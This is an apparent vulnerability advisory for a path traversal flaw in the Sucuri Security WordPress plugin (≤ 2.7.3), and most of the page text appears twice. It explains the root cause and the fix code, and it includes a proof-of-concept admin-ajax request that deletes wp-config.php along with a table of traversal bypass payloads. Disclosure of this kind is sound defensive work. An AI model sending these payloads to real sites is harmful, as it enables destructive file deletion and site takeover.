Sucuri Security - Auditing, Malware Scanner and Security Hardening ≤ 2.7.3
The file integrity restore/delete operations in src/integrity.lib.php do not validate that resolved file paths remain within the WordPress installation directory. An authenticated administrator can supply path traversal sequences (../) to delete arbitrary files on the server filesystem.
Technical Details
Root Cause
In src/integrity.lib.php:165 (v2.7.3), the pageIntegritySubmission() method constructed file paths by directly concatenating ABSPATH with user-supplied file paths without resolving or validating directory traversal:
// v2.7.3 — vulnerable
$file_path = $file_meta; // user-supplied, e.g. "../../../wp-config.php"
$full_path = ABSPATH . '/' . $file_path;
// No check that $full_path stays within ABSPATH
This allowed the delete action to pass a path like ../../../wp-config.php to unlink().
Fix
Commit 8b786c5 introduced three protective mechanisms:
-
normalizePath() — Resolves . and .. segments without consulting the filesystem:
private static function normalizePath($path)
{
$path = str_replace('\\', '/', (string) $path);
$is_absolute = (isset($path[0]) && $path[0] === '/');
$resolved = array();
foreach (explode('/', $path) as $segment) {
if ($segment === '' || $segment === '.') { continue; }
if ($segment === '..') { array_pop($resolved); continue; }
$resolved[] = $segment;
}
return ($is_absolute ? '/' : '') . implode('/', $resolved);
}
-
resolveIntegrityPath() — Verifies the normalized path starts with the normalized ABSPATH:
private static function resolveIntegrityPath($file_path)
{
$base = self::normalizePath(ABSPATH);
$full_path = self::normalizePath(ABSPATH . '/' . $file_path);
if ($full_path !== $base && strpos($full_path, $base . '/') !== 0) {
return false; /* escapes the WordPress installation directory */
}
return $full_path;
}
-
flaggedFilesByStatus() — An allowlist of files the scan actually reported, preventing operations on arbitrary paths even if the traversal check were bypassed.
Proof of Concept
Requirements
- WordPress administrator account (
manage_options capability)
- Valid nonce from the Integrity page
Exploit
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: <admin session cookie>
action=sucuriscan_ajax&
form_action=check_wordpress_integrity&
sucuriscan_page_nonce=<valid_nonce>&
sucuriscan_integrity_action=delete&
sucuriscan_integrity[]=../../../wp-config.php&
sucuriscan_process_form=1
Expected Result
In v2.7.3, this request deletes /var/www/html/wp-config.php, causing a complete site outage on the next request and allowing re-installation with attacker-controlled database credentials.
In v2.7.4, the request is silently rejected because:
resolveIntegrityPath('../../../wp-config.php') normalizes to /wp-config.php
/wp-config.php does not start with /var/www/html/ → returns false
- The operation is skipped
Attempted Bypasses (all rejected in v2.7.4)
| Payload |
Normalized |
Result |
../../../etc/passwd |
/etc/passwd |
Rejected — not under ABSPATH |
foo/../../../../etc/passwd |
/etc/passwd |
Rejected |
wp-content\\..\\..\\wp-config.php |
/var/www/wp-config.php |
Rejected — normalizePath() converts backslashes first |
wp-config.php (no traversal) |
/var/www/html/wp-config.php |
Rejected — not in flaggedFilesByStatus() allowlist |
Impact
- CVSS 3.1: 6.5 (Medium) —
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
- Deletion of
wp-config.php → site outage + potential re-installation with attacker-controlled credentials
- Deletion of
.htaccess → exposure to other attacks
- Deletion of security plugin files → disabling the security plugin
Affected Versions
- Vulnerable: ≤ 2.7.3
- Fixed: 2.7.4
Remediation
Update to version 2.7.4 or later.
Sucuri Security - Auditing, Malware Scanner and Security Hardening ≤ 2.7.3
The file integrity restore/delete operations in
src/integrity.lib.phpdo not validate that resolved file paths remain within the WordPress installation directory. An authenticated administrator can supply path traversal sequences (../) to delete arbitrary files on the server filesystem.Technical Details
Root Cause
In
src/integrity.lib.php:165(v2.7.3), thepageIntegritySubmission()method constructed file paths by directly concatenatingABSPATHwith user-supplied file paths without resolving or validating directory traversal:This allowed the
deleteaction to pass a path like../../../wp-config.phptounlink().Fix
Commit
8b786c5introduced three protective mechanisms:normalizePath()— Resolves.and..segments without consulting the filesystem:resolveIntegrityPath()— Verifies the normalized path starts with the normalizedABSPATH:flaggedFilesByStatus()— An allowlist of files the scan actually reported, preventing operations on arbitrary paths even if the traversal check were bypassed.Proof of Concept
Requirements
manage_optionscapability)Exploit
Expected Result
In v2.7.3, this request deletes
/var/www/html/wp-config.php, causing a complete site outage on the next request and allowing re-installation with attacker-controlled database credentials.In v2.7.4, the request is silently rejected because:
resolveIntegrityPath('../../../wp-config.php')normalizes to/wp-config.php/wp-config.phpdoes not start with/var/www/html/→ returnsfalseAttempted Bypasses (all rejected in v2.7.4)
../../../etc/passwd/etc/passwdfoo/../../../../etc/passwd/etc/passwdwp-content\\..\\..\\wp-config.php/var/www/wp-config.phpnormalizePath()converts backslashes firstwp-config.php(no traversal)/var/www/html/wp-config.phpflaggedFilesByStatus()allowlistImpact
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:Hwp-config.php→ site outage + potential re-installation with attacker-controlled credentials.htaccess→ exposure to other attacksAffected Versions
Remediation
Update to version 2.7.4 or later.